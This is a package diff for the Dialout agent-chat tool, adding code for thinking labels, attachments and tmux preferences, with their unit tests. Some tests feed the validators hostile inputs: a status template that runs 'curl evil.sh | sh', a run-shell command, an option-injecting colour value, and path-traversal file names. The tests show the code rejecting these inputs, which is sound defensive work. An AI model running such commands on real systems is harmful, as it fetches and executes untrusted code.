@indianic/dialout 1.9.0 → 1.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/ai-adapters/claude.d.ts.map +1 -1
- package/dist/ai-adapters/claude.js +18 -1
- package/dist/ai-adapters/claude.js.map +1 -1
- package/dist/ai-attachments.d.ts +18 -0
- package/dist/ai-attachments.d.ts.map +1 -0
- package/dist/ai-attachments.js +110 -0
- package/dist/ai-attachments.js.map +1 -0
- package/dist/websocket.d.ts.map +1 -1
- package/dist/websocket.js +14 -0
- package/dist/websocket.js.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.js +38 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.d.ts +33 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.js +84 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.test.js +31 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.d.ts +1 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.js +1 -1
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.js +67 -0
- package/node_modules/@indianic/dialout-shared/dist/command-filter.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/command-filter.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/command-filter.test.js +63 -0
- package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.js +27 -0
- package/node_modules/@indianic/dialout-shared/dist/event-merge.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/event-merge.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/event-merge.test.js +42 -0
- package/node_modules/@indianic/dialout-shared/dist/events.d.ts +1 -0
- package/node_modules/@indianic/dialout-shared/dist/events.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/index.d.ts +4 -1
- package/node_modules/@indianic/dialout-shared/dist/index.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/index.js +15 -1
- package/node_modules/@indianic/dialout-shared/dist/notify.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/notify.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/notify.test.js +51 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.d.ts +17 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.js +27 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.js +184 -0
- package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.js +21 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.d.ts +9 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.js +38 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.test.js +30 -0
- package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.js +95 -0
- package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.js +38 -0
- package/node_modules/@indianic/dialout-shared/package.json +2 -2
- package/node_modules/@indianic/dialout-shared/src/attachments.test.ts +33 -0
- package/node_modules/@indianic/dialout-shared/src/attachments.ts +82 -0
- package/node_modules/@indianic/dialout-shared/src/chat-blocks.ts +2 -2
- package/node_modules/@indianic/dialout-shared/src/events.ts +5 -1
- package/node_modules/@indianic/dialout-shared/src/index.ts +8 -1
- package/node_modules/@indianic/dialout-shared/src/pane-prompt.test.ts +23 -1
- package/node_modules/@indianic/dialout-shared/src/pane-prompt.ts +27 -0
- package/node_modules/@indianic/dialout-shared/src/thinking.test.ts +32 -0
- package/node_modules/@indianic/dialout-shared/src/thinking.ts +32 -0
- package/package.json +1 -1
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
// How a spell of reasoning is labelled in the transcript.
|
|
3
|
+
//
|
|
4
|
+
// Most of it never reaches us. Claude Code runs adaptive thinking with a
|
|
5
|
+
// `clear_thinking_20251015` context edit, which strips the words out of the
|
|
6
|
+
// persisted history and leaves a signed, empty block behind — measured at 515
|
|
7
|
+
// of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
|
|
8
|
+
// So a thinking row usually has no words to show, only the fact that it
|
|
9
|
+
// happened and `thinkingDurationMs` saying how long for. That is worth
|
|
10
|
+
// showing: it is the difference between an agent that is stuck and one that is
|
|
11
|
+
// thinking hard.
|
|
12
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
13
|
+
exports.thinkingDuration = thinkingDuration;
|
|
14
|
+
exports.thinkingLabel = thinkingLabel;
|
|
15
|
+
/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
|
|
16
|
+
function thinkingDuration(ms) {
|
|
17
|
+
if (!Number.isFinite(ms) || ms <= 0)
|
|
18
|
+
return '';
|
|
19
|
+
if (ms < 1000)
|
|
20
|
+
return `${Math.round(ms)}ms`;
|
|
21
|
+
const s = ms / 1000;
|
|
22
|
+
if (s < 10)
|
|
23
|
+
return `${s.toFixed(1)}s`;
|
|
24
|
+
if (s < 60)
|
|
25
|
+
return `${Math.round(s)}s`;
|
|
26
|
+
const m = Math.floor(s / 60);
|
|
27
|
+
const rest = Math.round(s % 60);
|
|
28
|
+
return rest ? `${m}m ${rest}s` : `${m}m`;
|
|
29
|
+
}
|
|
30
|
+
/**
|
|
31
|
+
* The label for a thinking row. "Thought for 1.4s" when the vendor said how
|
|
32
|
+
* long, and the vaguer wording only when it did not — never a bare
|
|
33
|
+
* "thinking…", which read as though something were still in flight.
|
|
34
|
+
*/
|
|
35
|
+
function thinkingLabel(ms) {
|
|
36
|
+
const d = ms == null ? '' : thinkingDuration(ms);
|
|
37
|
+
return d ? `Thought for ${d}` : 'Thought for a moment';
|
|
38
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"thinking.test.d.ts","sourceRoot":"","sources":["../src/thinking.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const thinking_1 = require("./thinking");
|
|
5
|
+
(0, vitest_1.describe)('thinkingDuration', () => {
|
|
6
|
+
(0, vitest_1.it)('reads like a stopwatch at every scale', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(490)).toBe('490ms');
|
|
8
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(1422)).toBe('1.4s');
|
|
9
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(12252)).toBe('12s');
|
|
10
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(59_400)).toBe('59s');
|
|
11
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(60_000)).toBe('1m');
|
|
12
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(125_000)).toBe('2m 5s');
|
|
13
|
+
});
|
|
14
|
+
(0, vitest_1.it)('says nothing rather than "0s" when there is no duration to report', () => {
|
|
15
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(0)).toBe('');
|
|
16
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(-5)).toBe('');
|
|
17
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(NaN)).toBe('');
|
|
18
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(Infinity)).toBe('');
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
(0, vitest_1.describe)('thinkingLabel', () => {
|
|
22
|
+
(0, vitest_1.it)('names the duration when the vendor gave one', () => {
|
|
23
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(1422)).toBe('Thought for 1.4s');
|
|
24
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(12252)).toBe('Thought for 12s');
|
|
25
|
+
});
|
|
26
|
+
(0, vitest_1.it)('falls back to the vague wording, never a bare "thinking…"', () => {
|
|
27
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(undefined)).toBe('Thought for a moment');
|
|
28
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(0)).toBe('Thought for a moment');
|
|
29
|
+
});
|
|
30
|
+
});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tmux-prefs.test.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const tmux_prefs_1 = require("./tmux-prefs");
|
|
5
|
+
(0, vitest_1.describe)('resolveTmuxPrefs', () => {
|
|
6
|
+
(0, vitest_1.it)('returns the defaults for an empty input', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({})).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
8
|
+
});
|
|
9
|
+
// The same function guards a config file on disk and a JSON body from a
|
|
10
|
+
// browser, so every shape of garbage has to come out as valid prefs.
|
|
11
|
+
(0, vitest_1.it)('survives null, undefined and non-objects', () => {
|
|
12
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(null)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
13
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(undefined)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
14
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 'not an object' })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
15
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 42 })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
16
|
+
});
|
|
17
|
+
(0, vitest_1.it)('overrides only what it names', () => {
|
|
18
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'tmux' } });
|
|
19
|
+
(0, vitest_1.expect)(prefs.mouse).toBe('tmux');
|
|
20
|
+
(0, vitest_1.expect)(prefs.historyLimit).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
|
|
21
|
+
});
|
|
22
|
+
// status is nested; a shallow spread would wipe the siblings.
|
|
23
|
+
(0, vitest_1.it)('keeps unnamed status siblings', () => {
|
|
24
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: 'colour238' } } });
|
|
25
|
+
(0, vitest_1.expect)(prefs.status.bg).toBe('colour238');
|
|
26
|
+
(0, vitest_1.expect)(prefs.status.fg).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.fg);
|
|
27
|
+
(0, vitest_1.expect)(prefs.status.enabled).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.enabled);
|
|
28
|
+
});
|
|
29
|
+
(0, vitest_1.it)('falls back rather than passing an unknown enum through to tmux', () => {
|
|
30
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
|
|
31
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
|
|
32
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { position: 'sideways' } } }).status.position)
|
|
33
|
+
.toBe('bottom');
|
|
34
|
+
});
|
|
35
|
+
(0, vitest_1.it)('rejects a non-integer, negative or absurd history limit', () => {
|
|
36
|
+
for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
|
|
37
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: bad } }).historyLimit)
|
|
38
|
+
.toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
|
|
39
|
+
}
|
|
40
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
|
|
41
|
+
});
|
|
42
|
+
// The one that matters once a browser can send this: a template carrying
|
|
43
|
+
// command substitution must never be stored.
|
|
44
|
+
(0, vitest_1.it)('rejects a status template containing command substitution', () => {
|
|
45
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
|
|
46
|
+
(0, vitest_1.expect)(prefs.status.left).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
|
|
47
|
+
});
|
|
48
|
+
(0, vitest_1.it)('rejects a status template containing run-shell', () => {
|
|
49
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { right: 'x run-shell "id"' } } });
|
|
50
|
+
(0, vitest_1.expect)(prefs.status.right).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.right);
|
|
51
|
+
});
|
|
52
|
+
(0, vitest_1.it)('rejects an over-long status template', () => {
|
|
53
|
+
const long = 'a'.repeat(tmux_prefs_1.MAX_STATUS_TEMPLATE + 1);
|
|
54
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: long } } }).status.left)
|
|
55
|
+
.toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
|
|
56
|
+
});
|
|
57
|
+
(0, vitest_1.it)('rejects a colour that is not a colour', () => {
|
|
58
|
+
for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
|
|
59
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: bad } } }).status.bg)
|
|
60
|
+
.toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.bg);
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
(0, vitest_1.it)('accepts the colour forms tmux understands', () => {
|
|
64
|
+
for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
|
|
65
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
});
|
|
69
|
+
(0, vitest_1.describe)('compileStatusTemplate', () => {
|
|
70
|
+
(0, vitest_1.it)('compiles every advertised token to something else', () => {
|
|
71
|
+
for (const token of tmux_prefs_1.STATUS_TOKENS) {
|
|
72
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)(`[${token}]`)).not.toBe(`[${token}]`);
|
|
73
|
+
}
|
|
74
|
+
});
|
|
75
|
+
(0, vitest_1.it)('leaves an unknown token verbatim rather than dropping it', () => {
|
|
76
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('[nonsense]')).toBe('[nonsense]');
|
|
77
|
+
});
|
|
78
|
+
(0, vitest_1.it)('escapes a quote so it cannot end the emitted tmux string', () => {
|
|
79
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('say "hi"')).not.toMatch(/(?<!\\)"/);
|
|
80
|
+
});
|
|
81
|
+
(0, vitest_1.it)('throws on command substitution and run-shell', () => {
|
|
82
|
+
(0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('#(id)')).toThrow(/not allowed/i);
|
|
83
|
+
(0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('run-shell id')).toThrow(/not allowed/i);
|
|
84
|
+
});
|
|
85
|
+
});
|
|
86
|
+
(0, vitest_1.describe)('validators', () => {
|
|
87
|
+
(0, vitest_1.it)('isValidStatusTemplate mirrors compileStatusTemplate', () => {
|
|
88
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('[folder]')).toBe(true);
|
|
89
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('#(id)')).toBe(false);
|
|
90
|
+
});
|
|
91
|
+
(0, vitest_1.it)('isValidTmuxColor rejects anything that could inject a second option', () => {
|
|
92
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green')).toBe(true);
|
|
93
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green,fg=red')).toBe(false);
|
|
94
|
+
});
|
|
95
|
+
});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tool-appearance.test.d.ts","sourceRoot":"","sources":["../src/tool-appearance.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const tool_appearance_1 = require("./tool-appearance");
|
|
5
|
+
(0, vitest_1.describe)('tool-appearance', () => {
|
|
6
|
+
(0, vitest_1.it)('maps known tools to their action class', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Read')).toBe('read');
|
|
8
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Glob')).toBe('read');
|
|
9
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Grep')).toBe('search');
|
|
10
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('WebSearch')).toBe('search');
|
|
11
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Bash')).toBe('run');
|
|
12
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Task')).toBe('run');
|
|
13
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Edit')).toBe('write');
|
|
14
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Write')).toBe('write');
|
|
15
|
+
});
|
|
16
|
+
(0, vitest_1.it)('is case and whitespace insensitive', () => {
|
|
17
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)(' bASh ')).toBe('run');
|
|
18
|
+
});
|
|
19
|
+
// New tools ship constantly. An unknown name must render as a neutral row,
|
|
20
|
+
// never throw and never blank the trace.
|
|
21
|
+
(0, vitest_1.it)('falls back to other for an unknown tool', () => {
|
|
22
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolClass)('SomeToolShippedNextWeek')).toBe('other');
|
|
23
|
+
(0, vitest_1.expect)((0, tool_appearance_1.toolAppearance)('SomeToolShippedNextWeek').colorVar).toBe('--dim');
|
|
24
|
+
});
|
|
25
|
+
(0, vitest_1.it)('failure beats the name-derived class', () => {
|
|
26
|
+
const a = (0, tool_appearance_1.toolAppearance)('Read', false);
|
|
27
|
+
(0, vitest_1.expect)(a.cls).toBe('failure');
|
|
28
|
+
(0, vitest_1.expect)(a.colorVar).toBe('--offline');
|
|
29
|
+
(0, vitest_1.expect)(a.glyph).toBe('✕');
|
|
30
|
+
});
|
|
31
|
+
(0, vitest_1.it)('every class has a glyph and a colour token', () => {
|
|
32
|
+
for (const name of ['Read', 'Grep', 'Bash', 'Edit', 'Nonsense']) {
|
|
33
|
+
const a = (0, tool_appearance_1.toolAppearance)(name);
|
|
34
|
+
(0, vitest_1.expect)(a.glyph.length).toBeGreaterThan(0);
|
|
35
|
+
(0, vitest_1.expect)(a.colorVar.startsWith('--')).toBe(true);
|
|
36
|
+
}
|
|
37
|
+
});
|
|
38
|
+
});
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@indianic/dialout-shared",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.5.0",
|
|
4
4
|
"description": "Types and constants shared by the Dialout server, agent and mobile app.",
|
|
5
5
|
"publishConfig": {
|
|
6
6
|
"registry": "https://registry.npmjs.org"
|
|
@@ -20,7 +20,7 @@
|
|
|
20
20
|
"dist"
|
|
21
21
|
],
|
|
22
22
|
"scripts": {
|
|
23
|
-
"build": "tsc",
|
|
23
|
+
"build": "tsc -p tsconfig.build.json",
|
|
24
24
|
"test": "vitest run"
|
|
25
25
|
},
|
|
26
26
|
"devDependencies": {
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
import { describe, expect, it } from 'vitest';
|
|
2
|
+
import { composeWithAttachments, safeAttachmentName, splitAttachments } from './attachments';
|
|
3
|
+
|
|
4
|
+
const P1 = '/Users/me/.dialout/attachments/2026-10-21/a1b2c3d4-shot.png';
|
|
5
|
+
const P2 = '/Users/me/.dialout/attachments/2026-10-21/0f0f0f0f-spec.pdf';
|
|
6
|
+
|
|
7
|
+
describe('attachments', () => {
|
|
8
|
+
it('makes names safe for disk and for a CLI line', () => {
|
|
9
|
+
expect(safeAttachmentName('Screen Shot 2026-10-21 at 3.04 PM.PNG')).toBe('Screen-Shot-2026-10-21-at-3.04-PM.png');
|
|
10
|
+
expect(safeAttachmentName('../../etc/passwd')).toBe('passwd');
|
|
11
|
+
expect(safeAttachmentName('.env')).toBe('env');
|
|
12
|
+
expect(safeAttachmentName('')).toBe('file');
|
|
13
|
+
expect(safeAttachmentName('a'.repeat(200) + '.jpeg').length).toBeLessThanOrEqual(80);
|
|
14
|
+
expect(safeAttachmentName('résumé (final).pdf')).toBe('resume-final.pdf');
|
|
15
|
+
});
|
|
16
|
+
|
|
17
|
+
it('references files the way each CLI reads them, on one line', () => {
|
|
18
|
+
expect(composeWithAttachments('claude', 'Fix this\nlayout', [P1])).toBe(`Fix this layout @${P1}`);
|
|
19
|
+
expect(composeWithAttachments('codex', 'Look', [P1, P2])).toBe(`Look (attached: ${P1}, ${P2})`);
|
|
20
|
+
expect(composeWithAttachments('claude', '', [P1])).toBe(`@${P1}`);
|
|
21
|
+
expect(composeWithAttachments('grok', 'hi', [])).toBe('hi');
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
it('turns references back into chips, leaving other paths alone', () => {
|
|
25
|
+
const a = splitAttachments(composeWithAttachments('claude', 'Fix /src/app.ts please', [P1, P2]));
|
|
26
|
+
expect(a.text).toBe('Fix /src/app.ts please');
|
|
27
|
+
expect(a.files.map((f) => [f.name, f.image])).toEqual([['shot.png', true], ['spec.pdf', false]]);
|
|
28
|
+
const b = splitAttachments(composeWithAttachments('codex', 'Look', [P1]));
|
|
29
|
+
expect(b.text).toBe('Look');
|
|
30
|
+
expect(b.files[0].path).toBe(P1);
|
|
31
|
+
expect(splitAttachments('nothing here (attached: soon)').text).toBe('nothing here (attached: soon)');
|
|
32
|
+
});
|
|
33
|
+
});
|
|
@@ -0,0 +1,82 @@
|
|
|
1
|
+
// Files and images attached to an AI chat message.
|
|
2
|
+
//
|
|
3
|
+
// A coding CLI cannot receive a file over its TUI, but every one of them can
|
|
4
|
+
// read a file by path: Claude Code natively (`@/path` mentions, images
|
|
5
|
+
// included), Codex and Grok through their read/view tools. So an attachment
|
|
6
|
+
// is uploaded to the machine the agent runs on, saved under
|
|
7
|
+
// ~/.dialout/attachments, and the message carries its path. The same rules
|
|
8
|
+
// are used by the web app, the phone app and the agent.
|
|
9
|
+
|
|
10
|
+
/** Per file. Images from a phone camera fit comfortably; videos do not belong here. */
|
|
11
|
+
export const ATTACHMENT_MAX_BYTES = 15 * 1024 * 1024;
|
|
12
|
+
export const ATTACHMENT_MAX_FILES = 8;
|
|
13
|
+
/** Where the agent keeps them, relative to the user's home. */
|
|
14
|
+
export const ATTACHMENT_DIR = '.dialout/attachments';
|
|
15
|
+
|
|
16
|
+
const IMAGE_EXT = /\.(png|jpe?g|gif|webp|heic|heif|bmp|svg)$/i;
|
|
17
|
+
|
|
18
|
+
export function isImageName(name: string): boolean {
|
|
19
|
+
return IMAGE_EXT.test(name);
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
/**
|
|
23
|
+
* A name safe to put on disk and inside a message: letters, digits, dot,
|
|
24
|
+
* dash and underscore only, no leading dots, at most 80 characters with the
|
|
25
|
+
* extension kept. No spaces, so a path never has to be quoted for a CLI.
|
|
26
|
+
*/
|
|
27
|
+
export function safeAttachmentName(name: string): string {
|
|
28
|
+
const base = String(name || '').split(/[\\/]/).pop() || '';
|
|
29
|
+
const dot = base.lastIndexOf('.');
|
|
30
|
+
const ext = dot > 0 ? base.slice(dot).toLowerCase().replace(/[^a-z0-9.]/g, '').slice(0, 10) : '';
|
|
31
|
+
const stem = (dot > 0 ? base.slice(0, dot) : base)
|
|
32
|
+
.normalize('NFKD').replace(/[\u0300-\u036f]/g, '').replace(/[^\w.-]+/g, '-').replace(/^[.-]+|[.-]+$/g, '').replace(/-{2,}/g, '-')
|
|
33
|
+
.slice(0, 80 - ext.length);
|
|
34
|
+
return `${stem || 'file'}${ext}`;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
/**
|
|
38
|
+
* The message with its attachments referenced the way each CLI reads them.
|
|
39
|
+
* One line on purpose: a newline typed into a TUI can submit the message
|
|
40
|
+
* half-written.
|
|
41
|
+
*/
|
|
42
|
+
export function composeWithAttachments(kind: string, text: string, paths: string[]): string {
|
|
43
|
+
const body = text.replace(/\s*\n+\s*/g, ' ').trim();
|
|
44
|
+
if (!paths.length) return body;
|
|
45
|
+
const refs = kind === 'claude'
|
|
46
|
+
? paths.map((p) => `@${p}`).join(' ')
|
|
47
|
+
: `(attached: ${paths.join(', ')})`;
|
|
48
|
+
return body ? `${body} ${refs}` : refs;
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
export type AttachmentRef = { path: string; name: string; image: boolean };
|
|
52
|
+
|
|
53
|
+
const IN_DIR = /^(?:~|\/[^\s,()]*?)\/\.dialout\/attachments\/[^\s,()]+$/;
|
|
54
|
+
|
|
55
|
+
/**
|
|
56
|
+
* Pull attachment paths back out of a sent message, so a chat bubble can show
|
|
57
|
+
* them as chips instead of long paths. Only paths inside the attachments
|
|
58
|
+
* folder count; any other path the user typed stays text.
|
|
59
|
+
*/
|
|
60
|
+
export function splitAttachments(message: string): { text: string; files: AttachmentRef[] } {
|
|
61
|
+
const files: AttachmentRef[] = [];
|
|
62
|
+
const seen = new Set<string>();
|
|
63
|
+
const text = message
|
|
64
|
+
.replace(/\(attached:\s*([^)]*)\)/g, (whole, list: string) => {
|
|
65
|
+
const paths = list.split(',').map((s) => s.trim()).filter((s) => IN_DIR.test(s));
|
|
66
|
+
if (!paths.length) return whole;
|
|
67
|
+
for (const p of paths) add(p);
|
|
68
|
+
return '';
|
|
69
|
+
})
|
|
70
|
+
.replace(/@?((?:~|\/[^\s,()]*?)\/\.dialout\/attachments\/[^\s,()]+)/g, (_w, p: string) => { add(p); return ''; })
|
|
71
|
+
.replace(/\s{2,}/g, ' ')
|
|
72
|
+
.trim();
|
|
73
|
+
function add(p: string) {
|
|
74
|
+
if (seen.has(p)) return;
|
|
75
|
+
seen.add(p);
|
|
76
|
+
const file = p.split('/').pop() || p;
|
|
77
|
+
// Saved names carry an 8-character id prefix ("a1b2c3d4-shot.png").
|
|
78
|
+
const name = file.replace(/^[0-9a-f]{8}-/, '');
|
|
79
|
+
files.push({ path: p, name, image: isImageName(name) });
|
|
80
|
+
}
|
|
81
|
+
return { text, files };
|
|
82
|
+
}
|
|
@@ -13,7 +13,7 @@ export type ChatBlock =
|
|
|
13
13
|
| { kind: 'user'; key: string; text: string; pending?: boolean }
|
|
14
14
|
| { kind: 'assistant'; key: string; text: string }
|
|
15
15
|
| { kind: 'tools'; key: string; items: ToolItem[] }
|
|
16
|
-
| { kind: 'thinking'; key: string; text: string }
|
|
16
|
+
| { kind: 'thinking'; key: string; text: string; ms?: number }
|
|
17
17
|
| { kind: 'status'; key: string; status: string };
|
|
18
18
|
|
|
19
19
|
// Grouping only ever merges ADJACENT events, so the worst case for an adapter
|
|
